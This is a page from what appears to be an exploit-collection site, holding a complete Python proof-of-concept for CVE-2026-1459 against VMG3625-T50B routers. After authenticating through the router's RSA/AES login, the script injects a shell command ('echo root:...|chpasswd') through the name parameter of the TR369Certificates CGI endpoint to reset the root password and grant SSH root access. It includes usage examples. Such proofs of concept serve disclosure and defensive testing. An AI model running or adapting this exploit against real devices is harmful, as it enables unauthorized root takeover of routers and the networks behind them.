5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-1459-shell.py PY
#!/usr/bin/env python3

"""
Exploits CVE-2026-1459 to obtain shell access to the router
Requires valid administration credentials, changes root password temporarily, restarting will reset the root password.
Works on VMG3625-T50B and similar, is guaranteed to work on firmware V5.50(ABPM.9.7)C0 or earlier.
"""
import argparse
import base64
import json
import sys

import requests
from Crypto.Cipher import AES
from Crypto.Cipher import PKCS1_v1_5 as PKCS1_v15
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad

requests.packages.urllib3.disable_warnings()

def rsa_encrypt_v15(pem: str, data: bytes) -> str:
    return base64.b64encode(PKCS1_v15.new(RSA.import_key(pem)).encrypt(data)).decode()

def aes_encrypt(key: bytes, iv16: bytes, plaintext: str) -> str:
    cipher = AES.new(key, AES.MODE_CBC, iv16)
    ct = cipher.encrypt(pad(plaintext.encode(), AES.block_size))
    return base64.b64encode(ct).decode()

def aes_decrypt(key: bytes, iv_b64: str, ct_b64: str) -> dict:
    iv = base64.b64decode(iv_b64)[:16]
    ct = base64.b64decode(ct_b64)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    pt = unpad(cipher.decrypt(ct), AES.block_size)
    return json.loads(pt.decode())


def login(host: str, username: str, password: str):
    base_url = host.rstrip("/")
    s = requests.Session()
    s.verify = False

    try:
        s.get(base_url, timeout=5)
    except Exception:
        print("Host is not up, are you sure you entered correct host?")
        return
    
    
    pem = None
    try:
        r = s.get(f"{base_url}/getRSAPublickKey", timeout=10)
        key_response = r.json() if r.content else {}
        if "RSAPublicKey" in key_response:
            pem = key_response["RSAPublicKey"]
    except Exception as e:
        print(f"Failed to obtain RSA public key for login: {e}")
        return

    base64_password = base64.b64encode(password.encode()).decode()
    login_payload = {
        "Input_Account": username,
        "Input_Passwd": base64_password,
        "currLang": "en",
        "RememberPassword": 0,
        "SHA512_password": False
    }

    aes_key_bytes = get_random_bytes(32)
    aes_iv_bytes  = get_random_bytes(32)
    aes_key_b64   = base64.b64encode(aes_key_bytes).decode()
    aes_iv_b64    = base64.b64encode(aes_iv_bytes).decode()

    encryption_key = rsa_encrypt_v15(pem, aes_key_b64.encode())
    request_body = {
        "content": aes_encrypt(aes_key_bytes, aes_iv_bytes[:16], json.dumps(login_payload)),
        "key": encryption_key,
        "iv": aes_iv_b64
    }

    try:
        headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
        r = s.post(f"{base_url}/UserLogin", data=json.dumps(request_body), headers=headers, timeout=10)
        content = r.json() if r.content else {}
        response = aes_decrypt(aes_key_bytes, content["iv"], content["content"])
        if response['result'] != 'ZCFG_SUCCESS':
            print(f"Failed to login, are you sure you entered correct credentials?")
            return
        
        session_key = response['sessionkey']

        return s, aes_key_bytes, session_key
    except Exception as e:
        print(f"Failed to login, are you sure you entered correct credentials? {e}")

def exploit(session: requests.Session, base_url: str, session_key: str, root_pass: str):
    payload = f"x;echo root:{root_pass}|chpasswd;"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "CSRFToken":    session_key
    }

    try:
        r = session.request("GET", f"{base_url}/cgi-bin/TR369Certificates?action=download&name={requests.utils.quote(payload)}", headers=headers, timeout=10)

        if r.status_code == 200:
            print("Exploit succeeded, you should now be able to ssh to the router as root with the provided password.")
    except Exception as e:
        print("Exploit failed.")


if __name__ == "__main__":
    ap = argparse.ArgumentParser(
        description="CVE-2026-1459 exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
examples:
        CVE-2026-1459-shell.py http://10.0.0.138 admin pass new_ssh_password
        """
    )

    ap.add_argument("host", help="Router base URL (e.g. http://10.0.0.138)")
    ap.add_argument("username", help="Account username")
    ap.add_argument("password", help="Account Password")
    ap.add_argument("new_ssh_password", help="The new root ssh password")
    args = ap.parse_args()

    result = login(args.host, args.username, args.password)
    if result is None:
        sys.exit(-1)
    session, aes_key, session_key = result
    exploit(session, args.host, session_key, args.new_ssh_password)